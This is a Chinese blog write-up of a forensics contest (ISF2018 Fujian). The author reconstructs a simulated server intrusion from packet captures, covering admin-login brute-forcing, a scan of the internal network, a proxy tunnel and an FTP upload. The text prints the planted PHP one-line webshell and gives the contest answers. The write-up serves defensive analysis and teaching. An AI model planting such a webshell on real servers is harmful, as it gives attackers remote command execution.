eternitrance

ISF2018 Fujian WriteUp

May 13, 2018

赛题

比赛方在赛前会给每只队伍一个含有加密压缩档的U盘,压缩档大小1.84 GB。比赛开始后公布解压密码后开始答题,解压后共有9个.pcapng文件,答题界面出现题目。下面是所有题目信息,但在比赛时只会显示题目简介和第一题,需要在答对或五次错误或申请跳过(之后两种情况,每题扣10分)后显示下一题。

赛题包:Google Drive

黑客发现了公司网站服务器上的漏洞,通过利用漏洞成功获取了服务器权限,对内网进行了扫描和攻击。

  1. 网站后台密码是?
  2. 攻击者的 IP 是?
  3. 网站后台登陆地址是? (http:// + IP + 路径)
  4. 后台写入的 WebShell 内容是?
  5. 网站数据库密码是?
  6. 黑客上传shell2.php后的第一个文件是?
  7. 黑客对内网扫描的IP范围是? (IP1 + IP2)
  8. 黑客下载的数据库备份文件名是?
  9. 黑客上床的图马密码是?
  10. 黑客修改了哪个文件来配合木马文件? (绝对路径)
  11. FTP服务器的端口是?
  12. 黑客使用 FTP 上传的文件名?
  13. 黑客登陆 FTP 的密码是?
  14. 黑客使用 FTP 上传的文件,其内容是?

解题

网站后台密码是?

首先打开data-sence2_00001_20180204175222.pcapng。看到“网站后台密码”关键词,下意识先在过滤框中输入http查看HTTP 传输数据,逛了一圈发现攻击方先是在扫描目录,最后尝试在/ad_admin.php?mod=login进行爆破。

接着打开data-sence2_00002_20180204175222.pcapng,过滤仅查看 HTTP 数据,在末尾几处发现对/ad_admin.php?mod=login 进行登陆处理后,依次 GET ad_admin.php?mod=homepage&loginprompt=ad_admin.php?mod=mainset,说明登陆成功。此时在 Cookie 中留有 dpadmin_password 字段,将其值放入 CMD5 中可得此题答案:aabbcc

攻击者的 IP 是?

分析上题中的两个数据包,在过滤后仅查看 HTTP 请求后,可以很明显的发现攻击方IP:202.1.1.2,智商检测题。

网站后台登陆地址是? (http:// + IP + 路径)

分析第一题后应该能知道,网站的后台登陆地址是:http://192.168.1.203/ad_admin.php,也是智商检测题。

后台写入的 WebShell 内容是?

打开第三个数据包 data-sence2_00003_20180204175222.pcapng,同样也是过滤仅查看 HTTP 请求,同时将 Source 列按顺序排列后,从该列的202.1.1.2 开始,第二行里包含着一段 base64,解码后可以知道WebShell的内容是:<?php eval($_POST[' cmd']);?>(记得去掉反斜杠)。

网站数据库密码是?

还是在第三个数据包中,攻击方在将 WebShell 文件shell2.php 上传后,进行了一系列的 POST 操作,在返回的 HTML 文件中就可以找到攻击方请求获取数据库的所有信息,包括数据库密码:newnrtpassword

黑客上传 shell2.php 后的第一个文件是?

这题问的是文件,就尝试在第三个和第四个包中直接导出 HTTP 对象后,没有发现有价值的线索。期间一直怀疑自己的思路有问题,但打开第五个数据包后,找到了答案:scan.php

黑客对内网扫描的 IP 范围是?(IP1 + IP2)

依着上一题的思路,在点选导出的 scan.php 中,看到了这一题的答案:192.168.2.1 - 192.168.2.150

黑客下载的数据库备份文件名是?

这题同样问的是文件,也使用直接导出 HTTP 对象的方法查找,但第五个包已经没有符合条件的文件了,遂打开第六个数据包,对 Hostname 进行分类后,找到了相像的文件 bak_2018-01-29-17-47-52.zip,输入答题框中显示正确。

黑客上床的图马密码是?

接下来打开第七个数据包,又是过滤仅查看 HTTP 请求。在第一行中就给出了答案。

其实是 shell2.php POST 了一段数据,将其中 z1 字段的值放入HEX编辑器中,显示了一句话代码,其中的 picto 就是本题答案。

黑客修改了哪个文件来配合木马文件?(绝对路径)

继续分析第七个数据包,查看了第九题下方的几个请求和返回值,看到其中有一个貌似是 ls 了一个目录,随后往下翻阅并和后续 ls 后的结果进行对比,知道了黑客修改的文件是 obj_edit.php

FTP服务器的端口是?

在第七个数据包后面发现了新的 tunnel.php,猜测可能是用来进行代理并和端口有关的木马文件,在导出 HTTP 对象的时候找到一个 12Kb 的文件,点击定位后同样将z1 字段的值放入HEX编辑器中,再将转换后的值贴入 Sublime Text 中。分析代码,看见了如下语句,大概说的就是把连接成功后的端口放在 Header 的 X-PORT 中。

随后在第八个数据包中查找有关 tunnel.php 的有关请求,最后发现了第 395467 行的请求,在 Header 中可见其 X-PORT 为 1433,就为该题答案。

黑客使用 FTP 上传的文件名?

按上一题的 FTP 端口号,在设置中将 FTP 端口号改为 1433,随后再过滤仅查看 FTP 请求就能找到上传了一个名为 readmd.rtf 文件,为正确答案。

黑客登陆 FTP 的密码是?

在上一题的上方,就能找到答案:[email protected]#

黑客使用 FTP 上传的文件,其内容是?

过滤仅查看 ftp-data 请求,就能查看 readmd.rtf 文件的内容了:CVE-2017-8570

总结

本次比赛的数据赛赛题是连贯的,攻击者的思路从此可以较为完整地分析,也让我学会了不少,这也是这次想写 WriteUp 的原因之一吧。在做题过程中,有些题目并不是一开始就很顺利,这次写出来也让我重新整理了下解题思路和解题方式。

毕竟不是专业学习网安的,在分析方面如有欠缺,也请多多指教。


This is tocz9ea's personal blog.
He is a 'foolish' coder, writing lines without mind.